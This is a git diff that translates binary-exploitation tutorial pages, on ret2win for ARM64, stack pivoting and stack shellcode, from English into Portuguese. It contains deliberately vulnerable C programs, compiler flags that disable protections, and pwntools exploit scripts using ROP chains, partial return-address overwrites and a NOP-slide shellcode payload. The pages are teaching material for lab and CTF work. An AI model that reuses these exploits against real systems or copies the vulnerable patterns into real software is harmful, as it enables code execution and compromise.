+- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **deve ser desativado** para que o endereço seja confiável em todas as execuções ou o endereço onde a função será armazenada não será sempre o mesmo e você precisaria de algum leak para descobrir onde a função win está carregada. Em alguns casos, quando a função que causa o transbordamento é `read` ou similar, você pode fazer uma **Sobrescrita Parcial** de 1 ou 2 bytes para mudar o endereço de retorno para ser a função win. Devido ao funcionamento do ASLR, os últimos três nibbles hexadecimais não são randomizados, então há uma **chance de 1/16** (1 nibble) de obter o endereço de retorno correto.
+- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) também devem ser desativados ou o endereço de retorno EIP comprometido nunca será seguido.
 
-- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded. In some cases, when the function that causes the overflow is `read` or similar, you can do a **Partial Overwrite** of 1 or 2 bytes to change the return address to be the win function. Because of how ASLR works, the last three hex nibbles are not randomized, so there is a **1/16 chance** (1 nibble) to get the correct return address.
-- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed.
-
-## Other examples & References
+## Outros exemplos & Referências
 
 - [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
 - [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html)
-  - 32bit, no ASLR
+- 32 bits, sem ASLR
 - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html)
-  - 64 bits with ASLR, with a leak of the bin address
+- 64 bits com ASLR, com um leak do endereço do bin
 - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
-  - 64 bits, no ASLR
+- 64 bits, sem ASLR
 - [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
-  - 32 bits, no ASLR, double small overflow, first to overflow the stack and enlarge the size of the second overflow
+- 32 bits, sem ASLR, transbordamento pequeno duplo, primeiro para transbordar a pilha e aumentar o tamanho do segundo transbordamento
 - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
-  - 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win)
+- 32 bits, relro, sem canário, nx, sem pie, string de formato para sobrescrever o endereço `fflush` com a função win (ret2win)
 - [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)
-  - 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function
+- 32 bits, nx, nada mais, sobrescrita parcial de EIP (1Byte) para chamar a função win
 - [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html)
-  - 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function
+- 32 bits, nx, nada mais, sobrescrita parcial de EIP (1Byte) para chamar a função win
 - [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
-  - The program is only validating the last byte of a number to check for the size of the input, therefore it's possible to add any zie as long as the last byte is inside the allowed range. Then, the input creates a buffer overflow exploited with a ret2win.
+- O programa está apenas validando o último byte de um número para verificar o tamanho da entrada, portanto, é possível adicionar qualquer tamanho desde que o último byte esteja dentro da faixa permitida. Então, a entrada cria um transbordamento de buffer explorado com um ret2win.
 - [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
-  - 64 bit, relro, no canary, nx, pie. Partial overwrite to call the win function (ret2win)
+- 64 bits, relro, sem canário, nx, pie. Sobrescrita parcial para chamar a função win (ret2win)
 - [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
-  - arm64, PIE, it gives a PIE leak the win function is actually 2 functions so ROP gadget that calls 2 functions
+- arm64, PIE, dá um leak de PIE, a função win é na verdade 2 funções, então gadget ROP que chama 2 funções
 - [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
-  - ARM64, off-by-one to call a win function
+- ARM64, off-by-one para chamar uma função win
 
-## ARM64 Example
+## Exemplo ARM64
 
 {{#ref}}
 ret2win-arm64.md
diff --git a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
index 410cf5cf0..a79b8d239 100644
--- a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
+++ b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
@@ -2,109 +2,94 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-Find an introduction to arm64 in:
+Encontre uma introdução ao arm64 em:
 
 {{#ref}}
 ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
 {{#endref}}
 
-## Code 
-
+## Código 
 ```c
 #include 
 #include 
 
 void win() {
-    printf("Congratulations!\n");
+printf("Congratulations!\n");
 }
 
 void vulnerable_function() {
-    char buffer[64];
-    read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
+char buffer[64];
+read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
 }
 
 int main() {
-    vulnerable_function();
-    return 0;
+vulnerable_function();
+return 0;
 }
 ```
-
-Compile without pie and canary:
-
+Compile sem pie e canário:
 ```bash
 clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
 ```
+## Encontrando o offset
 
-## Finding the offset
+### Opção de padrão
 
-### Pattern option
-
-This example was created using [**GEF**](https://github.com/bata24/gef):
-
-Stat gdb with gef, create pattern and use it:
+Este exemplo foi criado usando [**GEF**](https://github.com/bata24/gef):
 
+Inicie o gdb com gef, crie um padrão e use-o:
 ```bash
 gdb -q ./ret2win
 pattern create 200
 run
 ```
-
 

 
-arm64 will try to return to the address in the register x30 (which was compromised), we can use that to find the pattern offset:
-
+arm64 tentará retornar ao endereço no registrador x30 (que foi comprometido), podemos usar isso para encontrar o deslocamento do padrão:
 ```bash
 pattern search $x30
 ```
-
 

 
-**The offset is 72 (9x48).**
+**O deslocamento é 72 (9x48).**
 
-### Stack offset option
-
-Start by getting the stack address where the pc register is stored:
+### Opção de deslocamento da pilha
 
+Comece obtendo o endereço da pilha onde o registrador pc está armazenado:
 ```bash
 gdb -q ./ret2win
 b *vulnerable_function + 0xc
 run
 info frame
 ```
-
 

 
-Now set a breakpoint after the `read()` and continue until the `read()` is executed and set a pattern such as 13371337:
-
+Agora defina um ponto de interrupção após o `read()` e continue até que o `read()` seja executado e defina um padrão como 13371337:
 ```
 b *vulnerable_function+28
 c
 ```
-
 

 
-Find where this pattern is stored in memory:
+Encontre onde este padrão está armazenado na memória:
 
 

 
-Then: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
+Então: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
 
 

 
-## No PIE
+## Sem PIE
 
 ### Regular
 
-Get the address of the **`win`** function:
-
+Obtenha o endereço da função **`win`**:
 ```bash
 objdump -d ret2win | grep win
 ret2win:     file format elf64-littleaarch64
 00000000004006c4 :
 ```
-
 Exploit:
-
 ```python
 from pwn import *
 
@@ -124,13 +109,11 @@ p.send(payload)
 print(p.recvline())
 p.close()
 ```
-
 

 
 ### Off-by-1
 
-Actually this is going to by more like a off-by-2 in the stored PC in the stack. Instead of overwriting all the return address we are going to overwrite **only the last 2 bytes** with `0x06c4`.
-
+Na verdade, isso vai ser mais como um off-by-2 no PC armazenado na pilha. Em vez de sobrescrever todo o endereço de retorno, vamos sobrescrever **apenas os últimos 2 bytes** com `0x06c4`.
 ```python
 from pwn import *
 
@@ -150,22 +133,20 @@ p.send(payload)
 print(p.recvline())
 p.close()
 ```
-
 

 
-You can find another off-by-one example in ARM64 in [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), which is a real off-by-**one** in a fictitious vulnerability.
+Você pode encontrar outro exemplo de off-by-one em ARM64 em [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), que é um verdadeiro off-by-**one** em uma vulnerabilidade fictícia.
 
-## With PIE
+## Com PIE
 
 > [!TIP]
-> Compile the binary **without the `-no-pie` argument**
+> Compile o binário **sem o argumento `-no-pie`**
 
 ### Off-by-2
 
-Without a leak we don't know the exact address of the winning function but we can know the offset of the function from the binary and knowing that the return address we are overwriting is already pointing to a close address, it's possible to leak the offset to the win function (**0x7d4**) in this case and just use that offset:
+Sem um leak, não sabemos o endereço exato da função vencedora, mas podemos saber o deslocamento da função em relação ao binário e sabendo que o endereço de retorno que estamos sobrescrevendo já está apontando para um endereço próximo, é possível vazar o deslocamento para a função win (**0x7d4**) neste caso e apenas usar esse deslocamento:
 
 

-
 ```python
 from pwn import *
 
@@ -185,5 +166,4 @@ p.send(payload)
 print(p.recvline())
 p.close()
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
index a786dea8e..b624d1cbc 100644
--- a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
+++ b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
@@ -2,64 +2,61 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informações Básicas
 
-This technique exploits the ability to manipulate the **Base Pointer (EBP)** to chain the execution of multiple functions through careful use of the EBP register and the **`leave; ret`** instruction sequence.
-
-As a reminder, **`leave`** basically means:
+Esta técnica explora a capacidade de manipular o **Base Pointer (EBP)** para encadear a execução de várias funções através do uso cuidadoso do registrador EBP e da sequência de instruções **`leave; ret`**.
 
+Como lembrete, **`leave`** basicamente significa:
 ```
 mov       ebp, esp
 pop       ebp
 ret
 ```
-
-And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack.
+E como o **EBP está na pilha** antes do EIP, é possível controlá-lo controlando a pilha.
 
 ### EBP2Ret
 
-This technique is particularly useful when you can **alter the EBP register but have no direct way to change the EIP register**. It leverages the behaviour of functions when they finish executing.
+Esta técnica é particularmente útil quando você pode **alterar o registrador EBP, mas não tem uma maneira direta de mudar o registrador EIP**. Ela aproveita o comportamento das funções quando terminam de executar.
 
-If, during `fvuln`'s execution, you manage to inject a **fake EBP** in the stack that points to an area in memory where your shellcode's address is located (plus 4 bytes to account for the `pop` operation), you can indirectly control the EIP. As `fvuln` returns, the ESP is set to this crafted location, and the subsequent `pop` operation decreases ESP by 4, **effectively making it point to an address store by the attacker in there.**\
-Note how you **need to know 2 addresses**: The one where ESP is going to go, where you will need to write the address that is pointed by ESP.
+Se, durante a execução de `fvuln`, você conseguir injetar um **EBP falso** na pilha que aponte para uma área na memória onde o endereço do seu shellcode está localizado (mais 4 bytes para contabilizar a operação `pop`), você pode controlar indiretamente o EIP. Quando `fvuln` retorna, o ESP é definido para esta localização manipulada, e a operação `pop` subsequente diminui o ESP em 4, **fazendo efetivamente com que aponte para um endereço armazenado pelo atacante ali.**\
+Note como você **precisa saber 2 endereços**: aquele para onde o ESP vai, onde você precisará escrever o endereço que é apontado pelo ESP.
 
-#### Exploit Construction
+#### Construção do Exploit
 
-First you need to know an **address where you can write arbitrary data / addresses**. The ESP will point here and **run the first `ret`**.
+Primeiro, você precisa saber um **endereço onde pode escrever dados / endereços arbitrários**. O ESP apontará aqui e **executará o primeiro `ret`**.
 
-Then, you need to know the address used by `ret` that will **execute arbitrary code**. You could use:
+Em seguida, você precisa saber o endereço usado pelo `ret` que irá **executar código arbitrário**. Você poderia usar:
 
-- A valid [**ONE_GADGET**](https://github.com/david942j/one_gadget) address.
-- The address of **`system()`** followed by **4 junk bytes** and the address of `"/bin/sh"` (x86 bits).
-- The address of a **`jump esp;`** gadget ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) followed by the **shellcode** to execute.
-- Some [**ROP**](../rop-return-oriented-programing/) chain
+- Um endereço válido [**ONE_GADGET**](https://github.com/david942j/one_gadget).
+- O endereço de **`system()`** seguido de **4 bytes de lixo** e o endereço de `"/bin/sh"` (x86 bits).
+- O endereço de um gadget **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) seguido do **shellcode** a ser executado.
+- Alguma cadeia [**ROP**](../rop-return-oriented-programing/).
 
-Remember than before any of these addresses in the controlled part of the memory, there must be **`4` bytes** because of the **`pop`** part of the `leave` instruction. It would be possible to abuse these 4B to set a **second fake EBP** and continue controlling the execution.
+Lembre-se de que antes de qualquer um desses endereços na parte controlada da memória, deve haver **`4` bytes** por causa da parte **`pop`** da instrução `leave`. Seria possível abusar desses 4B para definir um **segundo EBP falso** e continuar controlando a execução.
 
-#### Off-By-One Exploit
+#### Exploit Off-By-One
 
-There's a specific variant of this technique known as an "Off-By-One Exploit". It's used when you can **only modify the least significant byte of the EBP**. In such a case, the memory location storing the address to jumo to with the **`ret`** must share the first three bytes with the EBP, allowing for a similar manipulation with more constrained conditions.\
-Usually it's modified the byte 0x00t o jump as far as possible.
+Há uma variante específica dessa técnica conhecida como "Off-By-One Exploit". É usada quando você pode **apenas modificar o byte menos significativo do EBP**. Nesse caso, a localização da memória que armazena o endereço para pular com o **`ret`** deve compartilhar os três primeiros bytes com o EBP, permitindo uma manipulação semelhante com condições mais restritas.\
+Normalmente, modifica-se o byte 0x00 para pular o mais longe possível.
 
-Also, it's common to use a RET sled in the stack and put the real ROP chain at the end to make it more probably that the new ESP points inside the RET SLED and the final ROP chain is executed.
+Além disso, é comum usar um RET sled na pilha e colocar a verdadeira cadeia ROP no final para tornar mais provável que o novo ESP aponte dentro do RET SLED e a cadeia ROP final seja executada.
 
-### **EBP Chaining**
+### **Encadeamento de EBP**
 
-Therefore, putting a controlled address in the `EBP` entry of the stack and an address to `leave; ret` in `EIP`, it's possible to **move the `ESP` to the controlled `EBP` address from the stack**.
+Portanto, colocando um endereço controlado na entrada `EBP` da pilha e um endereço para `leave; ret` no `EIP`, é possível **mover o `ESP` para o endereço `EBP` controlado da pilha**.
 
-Now, the **`ESP`** is controlled pointing to a desired address and the next instruction to execute is a `RET`. To abuse this, it's possible to place in the controlled ESP place this:
+Agora, o **`ESP`** está controlado apontando para um endereço desejado e a próxima instrução a ser executada é um `RET`. Para abusar disso, é possível colocar no lugar controlado do ESP isto:
 
-- **`&(next fake EBP)`** -> Load the new EBP because of `pop ebp` from the `leave` instruction
-- **`system()`** -> Called by `ret`
-- **`&(leave;ret)`** -> Called after system ends, it will move ESP to the fake EBP and start agin
-- **`&("/bin/sh")`**-> Param fro `system`
+- **`&(próximo EBP falso)`** -> Carregar o novo EBP por causa do `pop ebp` da instrução `leave`
+- **`system()`** -> Chamado pelo `ret`
+- **`&(leave;ret)`** -> Chamado após o término do sistema, moverá o ESP para o EBP falso e começará novamente
+- **`&("/bin/sh")`**-> Parâmetro para `system`
 
-Basically this way it's possible to chain several fake EBPs to control the flow of the program.
+Basicamente, dessa forma é possível encadear vários EBPs falsos para controlar o fluxo do programa.
 
-This is like a [ret2lib](../rop-return-oriented-programing/ret2lib/), but more complex with no apparent benefit but could be interesting in some edge-cases.
-
-Moreover, here you have an [**example of a challenge**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) that uses this technique with a **stack leak** to call a winning function. This is the final payload from the page:
+Isso é como um [ret2lib](../rop-return-oriented-programing/ret2lib/), mas mais complexo sem benefício aparente, mas pode ser interessante em alguns casos extremos.
 
+Além disso, aqui você tem um [**exemplo de um desafio**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) que usa essa técnica com um **leak de pilha** para chamar uma função vencedora. Este é o payload final da página:
 ```python
 from pwn import *
 
@@ -75,34 +72,32 @@ POP_RDI = 0x40122b
 POP_RSI_R15 = 0x401229
 
 payload = flat(
-    0x0,               # rbp (could be the address of anoter fake RBP)
-    POP_RDI,
-    0xdeadbeef,
-    POP_RSI_R15,
-    0xdeadc0de,
-    0x0,
-    elf.sym['winner']
+0x0,               # rbp (could be the address of anoter fake RBP)
+POP_RDI,
+0xdeadbeef,
+POP_RSI_R15,
+0xdeadc0de,
+0x0,
+elf.sym['winner']
 )
 
 payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)
 
 payload += flat(
-    buffer,         # Load leak address in RBP
-    LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
+buffer,         # Load leak address in RBP
+LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
 )
 
 pause()
 p.sendline(payload)
 print(p.recvline())
 ```
+## EBP pode não ser usado
 
-## EBP might not be used
-
-As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), if a binary is compiled with some optimizations, the **EBP never gets to control ESP**, therefore, any exploit working by controlling EBP sill basically fail because it doesn't have ay real effect.\
-This is because the **prologue and epilogue changes** if the binary is optimized.
-
-- **Not optimized:**
+Como [**explicado neste post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), se um binário é compilado com algumas otimizações, o **EBP nunca controla o ESP**, portanto, qualquer exploit que funcione controlando o EBP basicamente falhará porque não tem efeito real.\
+Isso ocorre porque as **mudanças de prólogo e epílogo** se o binário estiver otimizado.
 
+- **Não otimizado:**
 ```bash
 push   %ebp         # save ebp
 mov    %esp,%ebp    # set new ebp
@@ -113,9 +108,7 @@ sub    $0x100,%esp  # increase stack size
 leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
 ret                 # return
 ```
-
-- **Optimized:**
-
+- **Otimizado:**
 ```bash
 push   %ebx         # save ebx
 sub    $0x100,%esp  # increase stack size
@@ -126,13 +119,11 @@ add    $0x10c,%esp  # reduce stack size
 pop    %ebx         # restore ebx
 ret                 # return
 ```
+## Outras maneiras de controlar RSP
 
-## Other ways to control RSP
-
-### **`pop rsp`** gadget
-
-[**In this page**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) you can find an example using this technique. For this challenge it was needed to call a function with 2 specific arguments, and there was a **`pop rsp` gadget** and there is a **leak from the stack**:
+### **Gadget `pop rsp`**
 
+[**Nesta página**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) você pode encontrar um exemplo usando esta técnica. Para este desafio, era necessário chamar uma função com 2 argumentos específicos, e havia um **gadget `pop rsp`** e há um **leak da pilha**:
 ```python
 # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
 # This version has added comments
@@ -152,15 +143,15 @@ POP_RSI_R15 = 0x401229     # pop RSI and R15
 
 # The payload starts
 payload = flat(
-    0,                 # r13
-    0,                 # r14
-    0,                 # r15
-    POP_RDI,
-    0xdeadbeef,
-    POP_RSI_R15,
-    0xdeadc0de,
-    0x0,               # r15
-    elf.sym['winner']
+0,                 # r13
+0,                 # r14
+0,                 # r15
+POP_RDI,
+0xdeadbeef,
+POP_RSI_R15,
+0xdeadc0de,
+0x0,               # r15
+elf.sym['winner']
 )
 
 payload = payload.ljust(104, b'A')     # pad to 104
@@ -168,66 +159,63 @@ payload = payload.ljust(104, b'A')     # pad to 104
 # Start popping RSP, this moves the stack to the leaked address and
 # continues the ROP chain in the prepared payload
 payload += flat(
-    POP_CHAIN,
-    buffer             # rsp
+POP_CHAIN,
+buffer             # rsp
 )
 
 pause()
 p.sendline(payload)
 print(p.recvline())
 ```
-
 ### xchg \, rsp gadget
-
 ```
 pop                 <=== return pointer
 
 xchg , rsp
 ```
-
 ### jmp esp
 
-Check the ret2esp technique here:
+Verifique a técnica ret2esp aqui:
 
 {{#ref}}
 ../rop-return-oriented-programing/ret2esp-ret2reg.md
 {{#endref}}
 
-## References & Other Examples
+## Referências & Outros Exemplos
 
 - [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
 - [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
 - [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
-  - 64 bits, off by one exploitation with a rop chain starting with a ret sled
+- 64 bits, exploração off by one com uma cadeia rop começando com um ret sled
 - [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
-  - 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing `.fini_array` entries + calling `__libc_csu_fini` ([more info here](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusing this "eternal" write, it's written a ROP chain in the .bss and end up calling it pivoting with RBP.
+- 64 bits, sem relro, canário, nx e pie. O programa concede um leak para stack ou pie e um WWW de um qword. Primeiro obtenha o leak da stack e use o WWW para voltar e obter o leak do pie. Em seguida, use o WWW para criar um loop eterno abusando das entradas de `.fini_array` + chamando `__libc_csu_fini` ([mais informações aqui](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusando dessa escrita "eterna", uma cadeia ROP é escrita na .bss e acaba chamando-a pivotando com RBP.
 
 ## ARM64
 
-In ARM64, the **prologue and epilogues** of the functions **don't store and retrieve the SP registry** in the stack. Moreover, the **`RET`** instruction don't return to the address pointed by SP, but **to the address inside `x30`**.
+No ARM64, o **prólogo e epílogo** das funções **não armazenam e recuperam o registro SP** na pilha. Além disso, a instrução **`RET`** não retorna ao endereço apontado pelo SP, mas **para o endereço dentro de `x30`**.
 
-Therefore, by default, just abusing the epilogue you **won't be able to control the SP registry** by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to **control the `x30`** register.
+Portanto, por padrão, apenas abusando do epílogo você **não conseguirá controlar o registro SP** sobrescrevendo alguns dados dentro da pilha. E mesmo que você consiga controlar o SP, ainda precisaria de uma maneira de **controlar o registro `x30`**.
 
-- prologue
+- prólogo
 
-  ```armasm
-  sub sp, sp, 16
-  stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
-  mov x29, sp             // FP points to frame record
-  ```
+```armasm
+sub sp, sp, 16
+stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
+mov x29, sp             // FP aponta para o registro de quadro
+```
 
-- epilogue
+- epílogo
 
-  ```armasm
-  ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
-  add sp, sp, 16
-  ret
-  ```
+```armasm
+ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
+add sp, sp, 16
+ret
+```
 
 > [!CAUTION]
-> The way to perform something similar to stack pivoting in ARM64 would be to be able to **control the `SP`** (by controlling some register whose value is passed to `SP` or because for some reason `SP` is taking his address from the stack and we have an overflow) and then **abuse the epilogu**e to load the **`x30`** register from a **controlled `SP`** and **`RET`** to it.
+> A maneira de realizar algo semelhante ao stack pivoting no ARM64 seria ser capaz de **controlar o `SP`** (controlando algum registro cujo valor é passado para `SP` ou porque por algum motivo `SP` está pegando seu endereço da pilha e temos um overflow) e então **abusar do epílogo** para carregar o registro **`x30`** de um **`SP`** **controlado** e **`RET`** para ele.
 
-Also in the following page you can see the equivalent of **Ret2esp in ARM64**:
+Também na página seguinte você pode ver o equivalente de **Ret2esp no ARM64**:
 
 {{#ref}}
 ../rop-return-oriented-programing/ret2esp-ret2reg.md
diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md
index 187c832b7..ad238c25f 100644
--- a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md
+++ b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md
@@ -2,49 +2,44 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informações Básicas
 
-**Stack shellcode** is a technique used in **binary exploitation** where an attacker writes shellcode to a vulnerable program's stack and then modifies the **Instruction Pointer (IP)** or **Extended Instruction Pointer (EIP)** to point to the location of this shellcode, causing it to execute. This is a classic method used to gain unauthorized access or execute arbitrary commands on a target system. Here's a breakdown of the process, including a simple C example and how you might write a corresponding exploit using Python with **pwntools**.
+**Stack shellcode** é uma técnica usada em **binary exploitation** onde um atacante escreve shellcode na pilha de um programa vulnerável e então modifica o **Instruction Pointer (IP)** ou **Extended Instruction Pointer (EIP)** para apontar para a localização desse shellcode, fazendo com que ele seja executado. Este é um método clássico usado para obter acesso não autorizado ou executar comandos arbitrários em um sistema alvo. Aqui está uma análise do processo, incluindo um exemplo simples em C e como você poderia escrever um exploit correspondente usando Python com **pwntools**.
 
-### C Example: A Vulnerable Program
-
-Let's start with a simple example of a vulnerable C program:
+### Exemplo em C: Um Programa Vulnerável
 
+Vamos começar com um exemplo simples de um programa C vulnerável:
 ```c
 #include 
 #include 
 
 void vulnerable_function() {
-    char buffer[64];
-    gets(buffer); // Unsafe function that does not check for buffer overflow
+char buffer[64];
+gets(buffer); // Unsafe function that does not check for buffer overflow
 }
 
 int main() {
-    vulnerable_function();
-    printf("Returned safely\n");
-    return 0;
+vulnerable_function();
+printf("Returned safely\n");
+return 0;
 }
 ```
+Este programa é vulnerável a um estouro de buffer devido ao uso da função `gets()`.
 
-This program is vulnerable to a buffer overflow due to the use of the `gets()` function.
-
-### Compilation
-
-To compile this program while disabling various protections (to simulate a vulnerable environment), you can use the following command:
+### Compilação
 
+Para compilar este programa desativando várias proteções (para simular um ambiente vulnerável), você pode usar o seguinte comando:
 ```sh
 gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
 ```
+- `-fno-stack-protector`: Desabilita a proteção da pilha.
+- `-z execstack`: Torna a pilha executável, o que é necessário para executar shellcode armazenado na pilha.
+- `-no-pie`: Desabilita o Executável Independente de Posição, facilitando a previsão do endereço de memória onde nosso shellcode estará localizado.
+- `-m32`: Compila o programa como um executável de 32 bits, frequentemente usado por simplicidade no desenvolvimento de exploits.
 
-- `-fno-stack-protector`: Disables stack protection.
-- `-z execstack`: Makes the stack executable, which is necessary for executing shellcode stored on the stack.
-- `-no-pie`: Disables Position Independent Executable, making it easier to predict the memory address where our shellcode will be located.
-- `-m32`: Compiles the program as a 32-bit executable, often used for simplicity in exploit development.
-
-### Python Exploit using Pwntools
-
-Here's how you could write an exploit in Python using **pwntools** to perform a **ret2shellcode** attack:
+### Exploit em Python usando Pwntools
 
+Aqui está como você poderia escrever um exploit em Python usando **pwntools** para realizar um ataque **ret2shellcode**:
 ```python
 from pwn import *
 
@@ -71,27 +66,26 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
 p.sendline(payload)
 p.interactive()
 ```
+Este script constrói um payload consistindo de um **NOP slide**, o **shellcode**, e então sobrescreve o **EIP** com o endereço apontando para o NOP slide, garantindo que o shellcode seja executado.
 
-This script constructs a payload consisting of a **NOP slide**, the **shellcode**, and then overwrites the **EIP** with the address pointing to the NOP slide, ensuring the shellcode gets executed.
+O **NOP slide** (`asm('nop')`) é usado para aumentar a chance de que a execução "deslize" para o nosso shellcode, independentemente do endereço exato. Ajuste o argumento `p32()` para o endereço inicial do seu buffer mais um deslocamento para cair no NOP slide.
 
-The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide.
+## Proteções
 
-## Protections
+- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **deve ser desativado** para que o endereço seja confiável em execuções, ou o endereço onde a função será armazenada não será sempre o mesmo e você precisaria de algum leak para descobrir onde a função win está carregada.
+- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) também devem ser desativadas ou o endereço de retorno EIP comprometido nunca será seguido.
+- A proteção **stack** [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) impediria a execução do shellcode dentro da pilha porque essa região não seria executável.
 
-- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded.
-- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed.
-- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection would prevent the execution of the shellcode inside the stack because that region won't be executable.
-
-## Other Examples & References
+## Outros Exemplos & Referências
 
